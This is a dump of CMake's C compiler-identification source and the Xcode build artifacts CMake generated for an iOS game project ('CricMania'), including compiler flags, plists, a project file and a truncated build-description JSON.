# define COMPILER_ID "Fujitsu"
# if defined(__FCC_version__)
# define COMPILER_VERSION __FCC_version__
# elif defined(__FCC_major__)
# define COMPILER_VERSION_MAJOR DEC(__FCC_major__)
# define COMPILER_VERSION_MINOR DEC(__FCC_minor__)
# define COMPILER_VERSION_PATCH DEC(__FCC_patchlevel__)
# endif
# if defined(__fcc_version)
# define COMPILER_VERSION_INTERNAL DEC(__fcc_version)
# elif defined(__FCC_VERSION)
# define COMPILER_VERSION_INTERNAL DEC(__FCC_VERSION)
# endif
#elif defined(__ghs__)
# define COMPILER_ID "GHS"
/* __GHS_VERSION_NUMBER = VVVVRP */
# ifdef __GHS_VERSION_NUMBER
# define COMPILER_VERSION_MAJOR DEC(__GHS_VERSION_NUMBER / 100)
# define COMPILER_VERSION_MINOR DEC(__GHS_VERSION_NUMBER / 10 % 10)
# define COMPILER_VERSION_PATCH DEC(__GHS_VERSION_NUMBER % 10)
# endif
#elif defined(__TINYC__)
# define COMPILER_ID "TinyCC"
#elif defined(__BCC__)
# define COMPILER_ID "Bruce"
#elif defined(__SCO_VERSION__)
# define COMPILER_ID "SCO"
#elif defined(__ARMCC_VERSION) && !defined(__clang__)
# define COMPILER_ID "ARMCC"
#if __ARMCC_VERSION >= 1000000
/* __ARMCC_VERSION = VRRPPPP */
# define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/1000000)
# define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 100)
# define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000)
#else
/* __ARMCC_VERSION = VRPPPP */
# define COMPILER_VERSION_MAJOR DEC(__ARMCC_VERSION/100000)
# define COMPILER_VERSION_MINOR DEC(__ARMCC_VERSION/10000 % 10)
# define COMPILER_VERSION_PATCH DEC(__ARMCC_VERSION % 10000)
#endif
#elif defined(__clang__) && defined(__apple_build_version__)
# define COMPILER_ID "AppleClang"
# if defined(_MSC_VER)
# define SIMULATE_ID "MSVC"
# endif
# define COMPILER_VERSION_MAJOR DEC(__clang_major__)
# define COMPILER_VERSION_MINOR DEC(__clang_minor__)
# define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__)
# if defined(_MSC_VER)
/* _MSC_VER = VVRR */
# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100)
# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100)
# endif
# define COMPILER_VERSION_TWEAK DEC(__apple_build_version__)
#elif defined(__clang__) && defined(__ARMCOMPILER_VERSION)
# define COMPILER_ID "ARMClang"
# define COMPILER_VERSION_MAJOR DEC(__ARMCOMPILER_VERSION/1000000)
# define COMPILER_VERSION_MINOR DEC(__ARMCOMPILER_VERSION/10000 % 100)
# define COMPILER_VERSION_PATCH DEC(__ARMCOMPILER_VERSION % 10000)
# define COMPILER_VERSION_INTERNAL DEC(__ARMCOMPILER_VERSION)
#elif defined(__clang__)
# define COMPILER_ID "Clang"
# if defined(_MSC_VER)
# define SIMULATE_ID "MSVC"
# endif
# define COMPILER_VERSION_MAJOR DEC(__clang_major__)
# define COMPILER_VERSION_MINOR DEC(__clang_minor__)
# define COMPILER_VERSION_PATCH DEC(__clang_patchlevel__)
# if defined(_MSC_VER)
/* _MSC_VER = VVRR */
# define SIMULATE_VERSION_MAJOR DEC(_MSC_VER / 100)
# define SIMULATE_VERSION_MINOR DEC(_MSC_VER % 100)
# endif
#elif defined(__LCC__) && (defined(__GNUC__) || defined(__GNUG__) || defined(__MCST__))
# define COMPILER_ID "LCC"
# define COMPILER_VERSION_MAJOR DEC(1)
# if defined(__LCC__)
# define COMPILER_VERSION_MINOR DEC(__LCC__- 100)
# endif
# if defined(__LCC_MINOR__)
# define COMPILER_VERSION_PATCH DEC(__LCC_MINOR__)
# endif
# if defined(__GNUC__) && defined(__GNUC_MINOR__)
# define SIMULATE_ID "GNU"
# define SIMULATE_VERSION_MAJOR DEC(__GNUC__)
# define SIMULATE_VERSION_MINOR DEC(__GNUC_MINOR__)
# if defined(__GNUC_PATCHLEVEL__)
# define SIMULATE_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__)
# endif
# endif
#elif defined(__GNUC__)
# define COMPILER_ID "GNU"
# define COMPILER_VERSION_MAJOR DEC(__GNUC__)
# if defined(__GNUC_MINOR__)
# define COMPILER_VERSION_MINOR DEC(__GNUC_MINOR__)
# endif
# if defined(__GNUC_PATCHLEVEL__)
# define COMPILER_VERSION_PATCH DEC(__GNUC_PATCHLEVEL__)
# endif
#elif defined(_MSC_VER)
# define COMPILER_ID "MSVC"
/* _MSC_VER = VVRR */
# define COMPILER_VERSION_MAJOR DEC(_MSC_VER / 100)
# define COMPILER_VERSION_MINOR DEC(_MSC_VER % 100)
# if defined(_MSC_FULL_VER)
# if _MSC_VER >= 1400
/* _MSC_FULL_VER = VVRRPPPPP */
# define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 100000)
# else
/* _MSC_FULL_VER = VVRRPPPP */
# define COMPILER_VERSION_PATCH DEC(_MSC_FULL_VER % 10000)
# endif
# endif
# if defined(_MSC_BUILD)
# define COMPILER_VERSION_TWEAK DEC(_MSC_BUILD)
# endif
#elif defined(_ADI_COMPILER)
# define COMPILER_ID "ADSP"
#if defined(__VERSIONNUM__)
/* __VERSIONNUM__ = 0xVVRRPPTT */
# define COMPILER_VERSION_MAJOR DEC(__VERSIONNUM__ >> 24 & 0xFF)
# define COMPILER_VERSION_MINOR DEC(__VERSIONNUM__ >> 16 & 0xFF)
# define COMPILER_VERSION_PATCH DEC(__VERSIONNUM__ >> 8 & 0xFF)
# define COMPILER_VERSION_TWEAK DEC(__VERSIONNUM__ & 0xFF)
#endif
#elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC)
# define COMPILER_ID "IAR"
# if defined(__VER__) && defined(__ICCARM__)
# define COMPILER_VERSION_MAJOR DEC((__VER__) / 1000000)
# define COMPILER_VERSION_MINOR DEC(((__VER__) / 1000) % 1000)
# define COMPILER_VERSION_PATCH DEC((__VER__) % 1000)
# define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__)
# elif defined(__VER__) && (defined(__ICCAVR__) || defined(__ICCRX__) || defined(__ICCRH850__) || defined(__ICCRL78__) || defined(__ICC430__) || defined(__ICCRISCV__) || defined(__ICCV850__) || defined(__ICC8051__) || defined(__ICCSTM8__))
# define COMPILER_VERSION_MAJOR DEC((__VER__) / 100)
# define COMPILER_VERSION_MINOR DEC((__VER__) - (((__VER__) / 100)*100))
# define COMPILER_VERSION_PATCH DEC(__SUBVERSION__)
# define COMPILER_VERSION_INTERNAL DEC(__IAR_SYSTEMS_ICC__)
# endif
#elif defined(__SDCC_VERSION_MAJOR) || defined(SDCC)
# define COMPILER_ID "SDCC"
# if defined(__SDCC_VERSION_MAJOR)
# define COMPILER_VERSION_MAJOR DEC(__SDCC_VERSION_MAJOR)
# define COMPILER_VERSION_MINOR DEC(__SDCC_VERSION_MINOR)
# define COMPILER_VERSION_PATCH DEC(__SDCC_VERSION_PATCH)
# else
/* SDCC = VRP */
# define COMPILER_VERSION_MAJOR DEC(SDCC/100)
# define COMPILER_VERSION_MINOR DEC(SDCC/10 % 10)
# define COMPILER_VERSION_PATCH DEC(SDCC % 10)
# endif
/* These compilers are either not known or too old to define an
identification macro. Try to identify the platform and guess that
it is the native compiler. */
#elif defined(__hpux) || defined(__hpua)
# define COMPILER_ID "HP"
#else /* unknown compiler */
# define COMPILER_ID ""
#endif
/* Construct the string literal in pieces to prevent the source from
getting matched. Store it in a pointer rather than an array
because some compilers will just produce instructions to fill the
array rather than assigning a pointer to a static array. */
char const* info_compiler = "INFO" ":" "compiler[" COMPILER_ID "]";
#ifdef SIMULATE_ID
char const* info_simulate = "INFO" ":" "simulate[" SIMULATE_ID "]";
#endif
#ifdef __QNXNTO__
char const* qnxnto = "INFO" ":" "qnxnto[]";
#endif
#if defined(__CRAYXT_COMPUTE_LINUX_TARGET)
char const *info_cray = "INFO" ":" "compiler_wrapper[CrayPrgEnv]";
#endif
#define STRINGIFY_HELPER(X) #X
#define STRINGIFY(X) STRINGIFY_HELPER(X)
/* Identify known platforms by name. */
#if defined(__linux) || defined(__linux__) || defined(linux)
# define PLATFORM_ID "Linux"
#elif defined(__MSYS__)
# define PLATFORM_ID "MSYS"
#elif defined(__CYGWIN__)
# define PLATFORM_ID "Cygwin"
#elif defined(__MINGW32__)
# define PLATFORM_ID "MinGW"
#elif defined(__APPLE__)
# define PLATFORM_ID "Darwin"
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
# define PLATFORM_ID "Windows"
#elif defined(__FreeBSD__) || defined(__FreeBSD)
# define PLATFORM_ID "FreeBSD"
#elif defined(__NetBSD__) || defined(__NetBSD)
# define PLATFORM_ID "NetBSD"
#elif defined(__OpenBSD__) || defined(__OPENBSD)
# define PLATFORM_ID "OpenBSD"
#elif defined(__sun) || defined(sun)
# define PLATFORM_ID "SunOS"
#elif defined(_AIX) || defined(__AIX) || defined(__AIX__) || defined(__aix) || defined(__aix__)
# define PLATFORM_ID "AIX"
#elif defined(__hpux) || defined(__hpux__)
# define PLATFORM_ID "HP-UX"
#elif defined(__HAIKU__)
# define PLATFORM_ID "Haiku"
#elif defined(__BeOS) || defined(__BEOS__) || defined(_BEOS)
# define PLATFORM_ID "BeOS"
#elif defined(__QNX__) || defined(__QNXNTO__)
# define PLATFORM_ID "QNX"
#elif defined(__tru64) || defined(_tru64) || defined(__TRU64__)
# define PLATFORM_ID "Tru64"
#elif defined(__riscos) || defined(__riscos__)
# define PLATFORM_ID "RISCos"
#elif defined(__sinix) || defined(__sinix__) || defined(__SINIX__)
# define PLATFORM_ID "SINIX"
#elif defined(__UNIX_SV__)
# define PLATFORM_ID "UNIX_SV"
#elif defined(__bsdos__)
# define PLATFORM_ID "BSDOS"
#elif defined(_MPRAS) || defined(MPRAS)
# define PLATFORM_ID "MP-RAS"
#elif defined(__osf) || defined(__osf__)
# define PLATFORM_ID "OSF1"
#elif defined(_SCO_SV) || defined(SCO_SV) || defined(sco_sv)
# define PLATFORM_ID "SCO_SV"
#elif defined(__ultrix) || defined(__ultrix__) || defined(_ULTRIX)
# define PLATFORM_ID "ULTRIX"
#elif defined(__XENIX__) || defined(_XENIX) || defined(XENIX)
# define PLATFORM_ID "Xenix"
#elif defined(__WATCOMC__)
# if defined(__LINUX__)
# define PLATFORM_ID "Linux"
# elif defined(__DOS__)
# define PLATFORM_ID "DOS"
# elif defined(__OS2__)
# define PLATFORM_ID "OS2"
# elif defined(__WINDOWS__)
# define PLATFORM_ID "Windows3x"
# elif defined(__VXWORKS__)
# define PLATFORM_ID "VxWorks"
# else /* unknown platform */
# define PLATFORM_ID
# endif
#elif defined(__INTEGRITY)
# if defined(INT_178B)
# define PLATFORM_ID "Integrity178"
# else /* regular Integrity */
# define PLATFORM_ID "Integrity"
# endif
# elif defined(_ADI_COMPILER)
# define PLATFORM_ID "ADSP"
#else /* unknown platform */
# define PLATFORM_ID
#endif
/* For windows compilers MSVC and Intel we can determine
the architecture of the compiler being used. This is because
the compilers do not have flags that can change the architecture,
but rather depend on which compiler is being used
*/
#if defined(_WIN32) && defined(_MSC_VER)
# if defined(_M_IA64)
# define ARCHITECTURE_ID "IA64"
# elif defined(_M_ARM64EC)
# define ARCHITECTURE_ID "ARM64EC"
# elif defined(_M_X64) || defined(_M_AMD64)
# define ARCHITECTURE_ID "x64"
# elif defined(_M_IX86)
# define ARCHITECTURE_ID "X86"
# elif defined(_M_ARM64)
# define ARCHITECTURE_ID "ARM64"
# elif defined(_M_ARM)
# if _M_ARM == 4
# define ARCHITECTURE_ID "ARMV4I"
# elif _M_ARM == 5
# define ARCHITECTURE_ID "ARMV5I"
# else
# define ARCHITECTURE_ID "ARMV" STRINGIFY(_M_ARM)
# endif
# elif defined(_M_MIPS)
# define ARCHITECTURE_ID "MIPS"
# elif defined(_M_SH)
# define ARCHITECTURE_ID "SHx"
# else /* unknown architecture */
# define ARCHITECTURE_ID ""
# endif
#elif defined(__WATCOMC__)
# if defined(_M_I86)
# define ARCHITECTURE_ID "I86"
# elif defined(_M_IX86)
# define ARCHITECTURE_ID "X86"
# else /* unknown architecture */
# define ARCHITECTURE_ID ""
# endif
#elif defined(__IAR_SYSTEMS_ICC__) || defined(__IAR_SYSTEMS_ICC)
# if defined(__ICCARM__)
# define ARCHITECTURE_ID "ARM"
# elif defined(__ICCRX__)
# define ARCHITECTURE_ID "RX"
# elif defined(__ICCRH850__)
# define ARCHITECTURE_ID "RH850"
# elif defined(__ICCRL78__)
# define ARCHITECTURE_ID "RL78"
# elif defined(__ICCRISCV__)
# define ARCHITECTURE_ID "RISCV"
# elif defined(__ICCAVR__)
# define ARCHITECTURE_ID "AVR"
# elif defined(__ICC430__)
# define ARCHITECTURE_ID "MSP430"
# elif defined(__ICCV850__)
# define ARCHITECTURE_ID "V850"
# elif defined(__ICC8051__)
# define ARCHITECTURE_ID "8051"
# elif defined(__ICCSTM8__)
# define ARCHITECTURE_ID "STM8"
# else /* unknown architecture */
# define ARCHITECTURE_ID ""
# endif
#elif defined(__ghs__)
# if defined(__PPC64__)
# define ARCHITECTURE_ID "PPC64"
# elif defined(__ppc__)
# define ARCHITECTURE_ID "PPC"
# elif defined(__ARM__)
# define ARCHITECTURE_ID "ARM"
# elif defined(__x86_64__)
# define ARCHITECTURE_ID "x64"
# elif defined(__i386__)
# define ARCHITECTURE_ID "X86"
# else /* unknown architecture */
# define ARCHITECTURE_ID ""
# endif
#elif defined(__TI_COMPILER_VERSION__)
# if defined(__TI_ARM__)
# define ARCHITECTURE_ID "ARM"
# elif defined(__MSP430__)
# define ARCHITECTURE_ID "MSP430"
# elif defined(__TMS320C28XX__)
# define ARCHITECTURE_ID "TMS320C28x"
# elif defined(__TMS320C6X__) || defined(_TMS320C6X)
# define ARCHITECTURE_ID "TMS320C6x"
# else /* unknown architecture */
# define ARCHITECTURE_ID ""
# endif
# elif defined(__ADSPSHARC__)
# define ARCHITECTURE_ID "SHARC"
# elif defined(__ADSPBLACKFIN__)
# define ARCHITECTURE_ID "Blackfin"
#else
# define ARCHITECTURE_ID
#endif
/* Convert integer to decimal digit literals. */
#define DEC(n) \
('0' + (((n) / 10000000)%10)), \
('0' + (((n) / 1000000)%10)), \
('0' + (((n) / 100000)%10)), \
('0' + (((n) / 10000)%10)), \
('0' + (((n) / 1000)%10)), \
('0' + (((n) / 100)%10)), \
('0' + (((n) / 10)%10)), \
('0' + ((n) % 10))
/* Convert integer to hex digit literals. */
#define HEX(n) \
('0' + ((n)>>28 & 0xF)), \
('0' + ((n)>>24 & 0xF)), \
('0' + ((n)>>20 & 0xF)), \
('0' + ((n)>>16 & 0xF)), \
('0' + ((n)>>12 & 0xF)), \
('0' + ((n)>>8 & 0xF)), \
('0' + ((n)>>4 & 0xF)), \
('0' + ((n) & 0xF))
/* Construct a string literal encoding the version number. */
#ifdef COMPILER_VERSION
char const* info_version = "INFO" ":" "compiler_version[" COMPILER_VERSION "]";
/* Construct a string literal encoding the version number components. */
#elif defined(COMPILER_VERSION_MAJOR)
char const info_version[] = {
'I', 'N', 'F', 'O', ':',
'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','[',
COMPILER_VERSION_MAJOR,
# ifdef COMPILER_VERSION_MINOR
'.', COMPILER_VERSION_MINOR,
# ifdef COMPILER_VERSION_PATCH
'.', COMPILER_VERSION_PATCH,
# ifdef COMPILER_VERSION_TWEAK
'.', COMPILER_VERSION_TWEAK,
# endif
# endif
# endif
']','\0'};
#endif
/* Construct a string literal encoding the internal version number. */
#ifdef COMPILER_VERSION_INTERNAL
char const info_version_internal[] = {
'I', 'N', 'F', 'O', ':',
'c','o','m','p','i','l','e','r','_','v','e','r','s','i','o','n','_',
'i','n','t','e','r','n','a','l','[',
COMPILER_VERSION_INTERNAL,']','\0'};
#elif defined(COMPILER_VERSION_INTERNAL_STR)
char const* info_version_internal = "INFO" ":" "compiler_version_internal[" COMPILER_VERSION_INTERNAL_STR "]";
#endif
/* Construct a string literal encoding the version number components. */
#ifdef SIMULATE_VERSION_MAJOR
char const info_simulate_version[] = {
'I', 'N', 'F', 'O', ':',
's','i','m','u','l','a','t','e','_','v','e','r','s','i','o','n','[',
SIMULATE_VERSION_MAJOR,
# ifdef SIMULATE_VERSION_MINOR
'.', SIMULATE_VERSION_MINOR,
# ifdef SIMULATE_VERSION_PATCH
'.', SIMULATE_VERSION_PATCH,
# ifdef SIMULATE_VERSION_TWEAK
'.', SIMULATE_VERSION_TWEAK,
# endif
# endif
# endif
']','\0'};
#endif
/* Construct the string literal in pieces to prevent the source from
getting matched. Store it in a pointer rather than an array
because some compilers will just produce instructions to fill the
array rather than assigning a pointer to a static array. */
char const* info_platform = "INFO" ":" "platform[" PLATFORM_ID "]";
char const* info_arch = "INFO" ":" "arch[" ARCHITECTURE_ID "]";
#if !defined(__STDC__) && !defined(__clang__)
# if defined(_MSC_VER) || defined(__ibmxl__) || defined(__IBMC__)
# define C_VERSION "90"
# else
# define C_VERSION
# endif
#elif __STDC_VERSION__ > 201710L
# define C_VERSION "23"
#elif __STDC_VERSION__ >= 201710L
# define C_VERSION "17"
#elif __STDC_VERSION__ >= 201000L
# define C_VERSION "11"
#elif __STDC_VERSION__ >= 199901L
# define C_VERSION "99"
#else
# define C_VERSION "90"
#endif
const char* info_language_standard_default =
"INFO" ":" "standard_default[" C_VERSION "]";
const char* info_language_extensions_default = "INFO" ":" "extensions_default["
#if (defined(__clang__) || defined(__GNUC__) || defined(__xlC__) || \
defined(__TI_COMPILER_VERSION__)) && \
!defined(__STRICT_ANSI__)
"ON"
#else
"OFF"
#endif
"]";
/*--------------------------------------------------------------------------*/
#ifdef ID_VOID_MAIN
void main() {}
#else
# if defined(__CLASSIC_C__)
int main(argc, argv) int argc; char *argv[];
# else
int main(int argc, char* argv[])
# endif
{
int require = 0;
require += info_compiler[argc];
require += info_platform[argc];
require += info_arch[argc];
#ifdef COMPILER_VERSION_MAJOR
require += info_version[argc];
#endif
#ifdef COMPILER_VERSION_INTERNAL
require += info_version_internal[argc];
#endif
#ifdef SIMULATE_ID
require += info_simulate[argc];
#endif
#ifdef SIMULATE_VERSION_MAJOR
require += info_simulate_version[argc];
#endif
#if defined(__CRAYXT_COMPUTE_LINUX_TARGET)
require += info_cray[argc];
#endif
require += info_language_standard_default[argc];
require += info_language_extensions_default[argc];
(void)argv;
return require;
}
#endif

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-target arm64-apple-ios18.2 -fpascal-strings -Os -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS18.2.sdk -g -iquote /Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-generated-files.hmap -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-own-target-headers.hmap -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-all-target-headers.hmap -iquote /Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-project-headers.hmap -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/include -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/DerivedSources-normal/arm64 -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/DerivedSources/arm64 -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/DerivedSources -F/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC -iframework /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/Library/Frameworks -iframework /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS18.2.sdk/Developer/Library/Frameworks

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@ -0,0 +1,2 @@
dependencies: \
/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CMakeCCompilerId.c

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/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/Objects-normal/arm64/CMakeCCompilerId.o

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@ -0,0 +1,5 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict/>
</plist>

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@ -0,0 +1,116 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 45;
objects = {
2C18F0B615DC1E0300593670 = {isa = PBXBuildFile; fileRef = 2C18F0B415DC1DC700593670; };
2C18F0B415DC1DC700593670 = {isa = PBXFileReference; fileEncoding = 4; explicitFileType = sourcecode.c.c; path = CMakeCCompilerId.c; sourceTree = "<group>"; };
08FB7794FE84155DC02AAC07 = {
isa = PBXGroup;
children = (
2C18F0B415DC1DC700593670,
);
name = CompilerIdC;
sourceTree = "<group>";
};
8DD76FA90486AB0100D96B5E = {
isa = PBXNativeTarget;
buildConfigurationList = 1DEB928508733DD80010E9CD;
buildPhases = (
2C18F0B515DC1DCE00593670,
2C8FEB8E15DC1A1A00E56A5D,
);
buildRules = (
);
dependencies = (
);
name = CompilerIdC;
productName = CompilerIdC;
productType = "com.apple.product-type.bundle.unit-test";
};
08FB7793FE84155DC02AAC07 = {
isa = PBXProject;
buildConfigurationList = 1DEB928908733DD80010E9CD;
compatibilityVersion = "Xcode 3.1";
developmentRegion = English;
hasScannedForEncodings = 1;
knownRegions = (
en,
);
mainGroup = 08FB7794FE84155DC02AAC07;
projectDirPath = "";
projectRoot = "";
targets = (
8DD76FA90486AB0100D96B5E,
);
};
2C8FEB8E15DC1A1A00E56A5D = {
isa = PBXShellScriptBuildPhase;
alwaysOutOfDate = 1;
buildActionMask = 2147483647;
files = (
);
inputPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "echo \"GCC_VERSION=$GCC_VERSION\" ; echo \"ARCHS=$ARCHS\"";
showEnvVarsInLog = 0;
};
2C18F0B515DC1DCE00593670 = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
2C18F0B615DC1E0300593670,
);
runOnlyForDeploymentPostprocessing = 0;
};
1DEB928608733DD80010E9CD = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_IDENTITY = "";
PRODUCT_NAME = CompilerIdC;
};
name = Debug;
};
1DEB928A08733DD80010E9CD = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGNING_REQUIRED = NO;
CONFIGURATION_BUILD_DIR = "$(BUILD_DIR)";
GENERATE_INFOPLIST_FILE = YES;
SYMROOT = .;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = "iphoneos";
};
name = Debug;
};
1DEB928508733DD80010E9CD = {
isa = XCConfigurationList;
buildConfigurations = (
1DEB928608733DD80010E9CD,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Debug;
};
1DEB928908733DD80010E9CD = {
isa = XCConfigurationList;
buildConfigurations = (
1DEB928A08733DD80010E9CD,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Debug;
};
};
rootObject = 08FB7793FE84155DC02AAC07;
}

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@ -0,0 +1,20 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleIdentifier</key>
<string>com.apple.xcode.dsym.CompilerIdC.xctest</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>dSYM</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>1</string>
</dict>
</plist>

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@ -0,0 +1,5 @@
---
triple: 'arm64-apple-darwin'
binary-path: '/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.xctest/CompilerIdC'
relocations: []
...

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@ -0,0 +1,5 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict/>
</plist>

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-target arm64-apple-ios18.2 -fpascal-strings -Os -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS18.2.sdk -g -iquote /Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-generated-files.hmap -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-own-target-headers.hmap -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-all-target-headers.hmap -iquote /Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/CompilerIdC-project-headers.hmap -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/include -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/DerivedSources-normal/arm64 -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/DerivedSources/arm64 -I/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/DerivedSources -F/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC -iframework /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/Library/Frameworks -iframework /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS18.2.sdk/Developer/Library/Frameworks

View File

@ -0,0 +1 @@
/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.build/Debug-iphoneos/CompilerIdC.build/Objects-normal/arm64/CMakeCCompilerId.o

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{
"buildCommand" : {
"command" : "build",
"skipDependencies" : false,
"style" : "buildAndRun"
},
"configuredTargets" : [
{
"guid" : "d9d24303ac0ea36fa2bc7f98aeea5fe33f938c03aee3f24af46a5caa592e362d"
}
],
"containerPath" : "/Users/sreeraj/WorkSpace/Projects/GameUploadDocuments/4.CricMania/Builds/SDK_COCOS/CricMania/CricMania/build/ios/proj/CMakeFiles/3.24.3/CompilerIdC/CompilerIdC.xcodeproj",
"continueBuildingAfterErrors" : false,
"dependencyScope" : "workspace",
"enableIndexBuildArena" : false,
